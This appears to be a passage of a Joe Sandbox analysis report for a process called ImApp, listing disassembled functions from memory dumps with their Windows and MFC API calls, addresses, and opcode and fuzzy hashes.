Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#314#390#6751MessageSend
String ID:
API String ID: 903201250-0
Opcode ID: 2f8d3d8d46847c2a05aff565521cfd739beb3ad78dedd8a5ba3089ee9b7b6c60
Instruction ID: 5593e4c1f6641a4e4cbc19b1a9c838d08f93f8d5e19dbcd52cee821493363090
Opcode Fuzzy Hash: 2f8d3d8d46847c2a05aff565521cfd739beb3ad78dedd8a5ba3089ee9b7b6c60
Instruction Fuzzy Hash: 4B0157B0208741AFD304EF29C945B5BB7E4FB84B20F008A1EF094972D0DB38D845CBA6

Function 004046C0 Relevance: 7.5, APIs: 5, Instructions: 44windowCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 004046E3
#314.MFC80U(00000000,FC8A6036), ref: 004046ED
#390.IMUTILSU(?,?,?,?,?,?,?,?,?,?,0041DF48,000000FF), ref: 004046FA
SendMessageW.USER32(?,0000808D,?), ref: 00404717
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,0041DF48,000000FF), ref: 00404742

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#314#390#6751MessageSend
String ID:
API String ID: 903201250-0
Opcode ID: 7f3e87162f3f21837e3345771c91ea993cd5cbbd8ede06307b2d8b5a862cb6b8
Instruction ID: 45add2f96073d7a986d527d41a6c684cf677711751eb082f40dc29496e220333
Opcode Fuzzy Hash: 7f3e87162f3f21837e3345771c91ea993cd5cbbd8ede06307b2d8b5a862cb6b8
Instruction Fuzzy Hash: F00139B4208241AFD304EF25C945B5BB7E4FB84720F008A1DF095972D0DB38D845CBA6

Function 00414EC0 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

#310.MFC80U(FC8A6036,?,?,?,?,004203C9,000000FF), ref: 00414EE9
#1322.IMUTILSU(00003AD8,?,?,?,?,?,004203C9,000000FF), ref: 00414F09
#3391.MFC80U(?,?), ref: 00414F1B
#2311.MFC80U(?,00000000), ref: 00414F29
#578.MFC80U(?,?,?,?,004203C9,000000FF), ref: 00414F3E

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1322#2311#310#3391#578
String ID:
API String ID: 1975047823-0
Opcode ID: 270b3c8072371801cce41f4c26b8bb3e2d02c082cf3ede31e99f658ca1a10827
Instruction ID: bea56bf0c8b1fb4eb1f718c68ab1ed84eea2a296adeb90481493021fce027a74
Opcode Fuzzy Hash: 270b3c8072371801cce41f4c26b8bb3e2d02c082cf3ede31e99f658ca1a10827
Instruction Fuzzy Hash: 0F018476204300AFC314EF04DD49F5BB7A8FF84720F504A2EF465922A0D7749505CBA6

Function 00406000 Relevance: 7.5, APIs: 5, Instructions: 42windowCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00406023
#314.MFC80U(00000000,FC8A6036), ref: 0040602D
#390.IMUTILSU(?,?,?,?,?,?,?,?,?,?,0041E338,000000FF), ref: 0040603A
SendMessageW.USER32(?,0000816F,?,?), ref: 00406052
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,0041E338,000000FF), ref: 0040607D

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#314#390#6751MessageSend
String ID:
API String ID: 903201250-0
Opcode ID: 40f135c3a6780a9aff9d0a6b8e100799553185a0ea012065e3311ce8666f577d
Instruction ID: a1b244daf66fa62a6a43a942cbae543f64af981052018d1fb5353615cb363bd0
Opcode Fuzzy Hash: 40f135c3a6780a9aff9d0a6b8e100799553185a0ea012065e3311ce8666f577d
Instruction Fuzzy Hash: 510132B4208301AFD304EF25C945B5BB7E4FB84B10F008A2EF4A5872D0DB78D806CBA6

Function 00404970 Relevance: 7.5, APIs: 5, Instructions: 42windowCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00404993
#314.MFC80U(00000000,FC8A6036), ref: 0040499D
#390.IMUTILSU(?,?,?,?,?,?,?,?,?,?,0041E008,000000FF), ref: 004049AA
PostMessageW.USER32(?,0000808B,?,?), ref: 004049C2
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,0041E008,000000FF), ref: 004049ED

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#314#390#6751MessagePost
String ID:
API String ID: 3358365602-0
Opcode ID: 19203a83a7df2bc1e52e0d7a38caabf16fabb8650865c18402206f0081336958
Instruction ID: 3941a9bf4b1c079ae7699a7c91fe12e76da9bae91f547b8f9c48904c642227ae
Opcode Fuzzy Hash: 19203a83a7df2bc1e52e0d7a38caabf16fabb8650865c18402206f0081336958
Instruction Fuzzy Hash: 4E0117B5208341AFD314EF25C945B5BB7E4FB84B14F048A2EF495872D0DB78D845CB66

Function 00404760 Relevance: 7.5, APIs: 5, Instructions: 40windowCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00404783
#314.MFC80U(00000000,FC8A6036), ref: 0040478D
#390.IMUTILSU(?,?,?,?,?,?,?,?,?,?,0041DF78,000000FF), ref: 0040479A
SendMessageW.USER32(?,00008088,00000000,00000000), ref: 004047AC
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,0041DF78,000000FF), ref: 004047D7

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#314#390#6751MessageSend
String ID:
API String ID: 903201250-0
Opcode ID: cb36679c428c6c497e64ff1d812562fe2767fd566009bf3e80cdd4e15b9073d6
Instruction ID: 8f471e57820e0736165413f9a22d05dd1f08c22bba83849edf10e04ffd1d2248
Opcode Fuzzy Hash: cb36679c428c6c497e64ff1d812562fe2767fd566009bf3e80cdd4e15b9073d6
Instruction Fuzzy Hash: 64015AB5248701AFD314EF25C946B5BB7E4FB84B10F008A2EF195972D0CB78D845CB56

Function 00415560 Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

#6700.MFC80U(FC8A6036,?,?,?,?,00420549,000000FF), ref: 00415589
#290.MFC80U(?,00000000,?,?,?,?,00420549,000000FF), ref: 00415599
#3391.MFC80U(?,?,?,?,00420549,000000FF), ref: 004155AB
#1472.MFC80U(00000000,?,?,?,?,00420549,000000FF), ref: 004155B4
#578.MFC80U(?,?,?,?,00420549,000000FF), ref: 004155CB

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1472#290#3391#578#6700
String ID:
API String ID: 3670172297-0
Opcode ID: 8af1015214e248ab467e45525b1d2f7edcf813414f8aab8fe6bf438f63a44c46
Instruction ID: f1b3c47ea91b2e5a249ef00739683518de21e4e079c15664db16ea6adf208d59
Opcode Fuzzy Hash: 8af1015214e248ab467e45525b1d2f7edcf813414f8aab8fe6bf438f63a44c46
Instruction Fuzzy Hash: 2B014F76208750AFC314DF14DD48B9BB7E8FB48620F900A2DF456C32E0DB74A905CB66

Function 100096E0 Relevance: 7.5, APIs: 5, Instructions: 36synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,10001FCD,?,00000000,00000000,?,10004277,?,00000001), ref: 100096F7
TlsGetValue.KERNEL32(?), ref: 100096FD
#762.MFC80U(00000004), ref: 10009709
TlsSetValue.KERNEL32(?,00000000), ref: 1000971C
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 10009728

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: ObjectSingleValueWait$#762
String ID:
API String ID: 92422792-0
Opcode ID: 85e47da14cb49f957a561a40f52dc56573b0f548e8a2024220104b1dddd3c205
Instruction ID: 8a951756e07d8c1c8cc195b6d358760265042b67bf1bdf0246063d7c80563746
Opcode Fuzzy Hash: 85e47da14cb49f957a561a40f52dc56573b0f548e8a2024220104b1dddd3c205
Instruction Fuzzy Hash: C7F030762183019FE710DF75DC84E0673E8EF843A0F118718F56DC61E8D674E841CA10

Function 00406740 Relevance: 7.5, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00406763
#314.MFC80U(00000000,FC8A6036), ref: 0040676D
#49.IMDBU(?,?,?,?,?,?,?,?,?,?,0041E518,000000FF), ref: 0040677A
#48.IMDBU(?,?,?,?,?,?,?,?,?,?,0041E518,000000FF), ref: 00406781
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,0041E518,000000FF), ref: 004067AB

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#314#6751
String ID:
API String ID: 1151597793-0
Opcode ID: b44b7e6291678000f03e8aba4cb245e764d997a5d154e67fca0c20b91042fc2b
Instruction ID: 30eafd238a6bd1930956c373f96a29f1f6e7ab2e2ca76a6e977e168bda252896
Opcode Fuzzy Hash: b44b7e6291678000f03e8aba4cb245e764d997a5d154e67fca0c20b91042fc2b
Instruction Fuzzy Hash: 0C016D752087419FD318EF25D945B5BB7E5FB80B24F008A2EB065873D0DB38D844CBAA

Function 004067D0 Relevance: 7.5, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 004067F3
#314.MFC80U(00000000,FC8A6036), ref: 004067FD
#49.IMDBU(?,?,?,?,?,?,?,?,?,?,0041E548,000000FF), ref: 0040680A
#50.IMDBU(?,?,?,?,?,?,?,?,?,?,0041E548,000000FF), ref: 00406811
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,0041E548,000000FF), ref: 0040683B

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#314#6751
String ID:
API String ID: 1151597793-0
Opcode ID: e3ec813c50ff51746568fa9e87bef07353fb2ea1d52b2121cf7a294b3a80878a
Instruction ID: 2a239bd77bc01dd85988e02109cb0c2c9baa8dc136bbb055fd46fbfc4d028506
Opcode Fuzzy Hash: e3ec813c50ff51746568fa9e87bef07353fb2ea1d52b2121cf7a294b3a80878a
Instruction Fuzzy Hash: 57014B716087419FD318EF25D945B5BB7E4FB80B14F048A2EB065872D0DB38D844CB96

Function 10009790 Relevance: 7.5, APIs: 5, Instructions: 28synchronizationCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,10004472,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 100097A0
#764.MFC80U(-000000FF,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 100097B0
TlsSetValue.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 100097BE
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 100097C8
ReleaseMutex.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 100097D2

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: Value$#764EventMutexRelease
String ID:
API String ID: 414285937-0
Opcode ID: be033b4d634d4f97817765f12c7917e306c2f16d1642dfe392109a86d2144620
Instruction ID: 8ffe1d56b7c0813f6733e4f66108fe47d3973990449fcad5398e09bdf0522441
Opcode Fuzzy Hash: be033b4d634d4f97817765f12c7917e306c2f16d1642dfe392109a86d2144620
Instruction Fuzzy Hash: CBF0F8B5514B05DFF710CB70CC88F0673E4AF047A5F41CA18E55A865E8D738E844CB11

Function 020E1B67 Relevance: 7.5, APIs: 5, Instructions: 25fileCOMMON

Download Yara Rule

APIs

#917.MFC80U(?,00004000,00000000,?,\Identities,?,?,?,?), ref: 020E1B6D
DeleteFileW.KERNEL32(?,?,00004000,00000000,?,\Identities,?,?,?,?), ref: 020E1B76
#578.MFC80U(?,00004000,00000000,?,\Identities,?,?,?,?), ref: 020E1B83
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,020F07D0), ref: 020E1B90
#744.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,020F07D0), ref: 020E1BA0

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#744#917DeleteFile
String ID:
API String ID: 268860546-0
Opcode ID: a23678e1a505bb710634216973bafbaf47dea2e547b41bcfdbd08897a1bfd643
Instruction ID: 45ef3a0dd84f4d178d6687ce6df7c1f39d8502da4ff3c4047691e28b2e146e7a
Opcode Fuzzy Hash: a23678e1a505bb710634216973bafbaf47dea2e547b41bcfdbd08897a1bfd643
Instruction Fuzzy Hash: 86F05835E44208CFCB04DB94E4547ECFB30FF59321F14419AD916A3280DB392A46CB41

Function 004177B0 Relevance: 7.5, APIs: 5, Instructions: 20windowCOMMON

Download Yara Rule

APIs

#782.IMUTILSU ref: 004177B8
#878.IMUTILSU ref: 004177BF
#994.IMLOOKU(00000000,00000000), ref: 004177C8
#1448.IMLOOKU(00000000,00000000), ref: 004177CF
PostMessageW.USER32(?,0000809A,00000000,00000000), ref: 004177E1

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1448#782#878#994MessagePost
String ID:
API String ID: 2360830520-0
Opcode ID: 9bfe99771a95b0971233091d8b21f268c7689774585e61e751082dcfc456cf53
Instruction ID: f9f95a1de154e2c1faa7c47ddbd3bf9995d09f52953f8bbcff13be9a4ba55e2c
Opcode Fuzzy Hash: 9bfe99771a95b0971233091d8b21f268c7689774585e61e751082dcfc456cf53
Instruction Fuzzy Hash: 9CD0177178831023EAB472B56C07FDA1184AB44705F10081EB246AF6C6DEACE88087A8

Function 020CF690 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 262COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(invalid map/set<T> iterator,265105E4,?,?,?,?,?,?,?,?,?,?,?,00000000,020EE2BE,000000FF), ref: 020CF6CE
_CxxThrowException.MSVCR80(?,020FC7E0), ref: 020CF6F5
#764.MFC80U(265105E4,265105E4,?,?,?,?,?,?,?,?,?,?,?,00000000,020EE2BE,000000FF), ref: 020CF93F

Strings

invalid map/set<T> iterator, xrefs: 020CF6C5

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #764??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: invalid map/set<T> iterator
API String ID: 1945055090-152884079
Opcode ID: 565dca4c022e679aaef139dda47c15c2001bd0d11e2056dbbd21c494bde8e05b
Instruction ID: 5831f6859e2b21efdfd31f091e1c55a2359a1c972e6cf04268e27433d9a45d09
Opcode Fuzzy Hash: 565dca4c022e679aaef139dda47c15c2001bd0d11e2056dbbd21c494bde8e05b
Instruction Fuzzy Hash: 01B191B05083829FDB1ACF18C094B59BBE2BF45304F34869EE4954FB52C771E986DB92

Function 020E3760 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 254COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(invalid map/set<T> iterator,265105E4,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 020E379A
_CxxThrowException.MSVCR80(?,020FC7E0), ref: 020E37C1
#764.MFC80U(?,?,265105E4,?,?,?,?), ref: 020E3A16

Strings

invalid map/set<T> iterator, xrefs: 020E3791

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #764??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: invalid map/set<T> iterator
API String ID: 1945055090-152884079
Opcode ID: 8239ba70a0219259132d36492d896bcc5b11a9e363e1dca17ec34ad8525c13a7
Instruction ID: 98ad563993a2abb4b7af35876b353e69cb1e1ca9b42c29a747b5d2cf46a1bdab
Opcode Fuzzy Hash: 8239ba70a0219259132d36492d896bcc5b11a9e363e1dca17ec34ad8525c13a7
Instruction Fuzzy Hash: 09B17170618380DFDB52CF24C190A69BFE2BF85304F6896CDE8964B752C731E886DB91

Function 10008050 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(invalid map/set<T> iterator,DC7F1836,?,?,?,?,1000B179,000000FF,10007D15,?,?,?,?,?,?,?), ref: 1000808E
_CxxThrowException.MSVCR80(?,1000D538), ref: 100080B5
#764.MFC80U(?,DC7F1836,?,?,?,?,1000B179,000000FF,10007D15,?,?,?,?,?,?,?), ref: 100082BF

Strings

invalid map/set<T> iterator, xrefs: 10008085

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #764??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: invalid map/set<T> iterator
API String ID: 1945055090-152884079
Opcode ID: 86c3d9d92db7a799e53917e03b0426b980b765f3355c74ff6028d73be3c9219b
Instruction ID: bd3e41f97a8b5fc01ad1dd365ab33e8b2f02974d1edcdec17653cd4b677f83df
Opcode Fuzzy Hash: 86c3d9d92db7a799e53917e03b0426b980b765f3355c74ff6028d73be3c9219b
Instruction Fuzzy Hash: 96A19770508781DFE709CF24C490A46BBE6FF81284F288A9CE4D54B35AC771EE86CB91

Function 020D3790 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(invalid map/set<T> iterator,265105E4,?,?,?,?,?,?,?,?,?,?,00000000,020EDF79,000000FF,020D348C), ref: 020D37CE
_CxxThrowException.MSVCR80(?,020FC7E0), ref: 020D37F5
#764.MFC80U(?,265105E4,?,?,?,?,?,?,?,?,?,?,00000000,020EDF79,000000FF,020D348C), ref: 020D39FF

Strings

invalid map/set<T> iterator, xrefs: 020D37C5

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #764??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: invalid map/set<T> iterator
API String ID: 1945055090-152884079
Opcode ID: fbd0dd492ab2de57d79bcfca06b436b21efca789998c40db1092aa8c09463a05
Instruction ID: db4b8592c78e407ea794983cf1d2eb083f45951340546ccff0da9cdecc910a64
Opcode Fuzzy Hash: fbd0dd492ab2de57d79bcfca06b436b21efca789998c40db1092aa8c09463a05
Instruction Fuzzy Hash: 25A17A70A8A3809FDB16CF28C090B55BBE2BF45204F288ADDE4954F752C771E985DF92

Function 10004AE0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(invalid map/set<T> iterator,DC7F1836,?,10010798,035CB140), ref: 10004B1E
_CxxThrowException.MSVCR80(?,1000D538), ref: 10004B45
#764.MFC80U(?,DC7F1836,?,10010798,035CB140), ref: 10004D5B

Strings

invalid map/set<T> iterator, xrefs: 10004B15

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

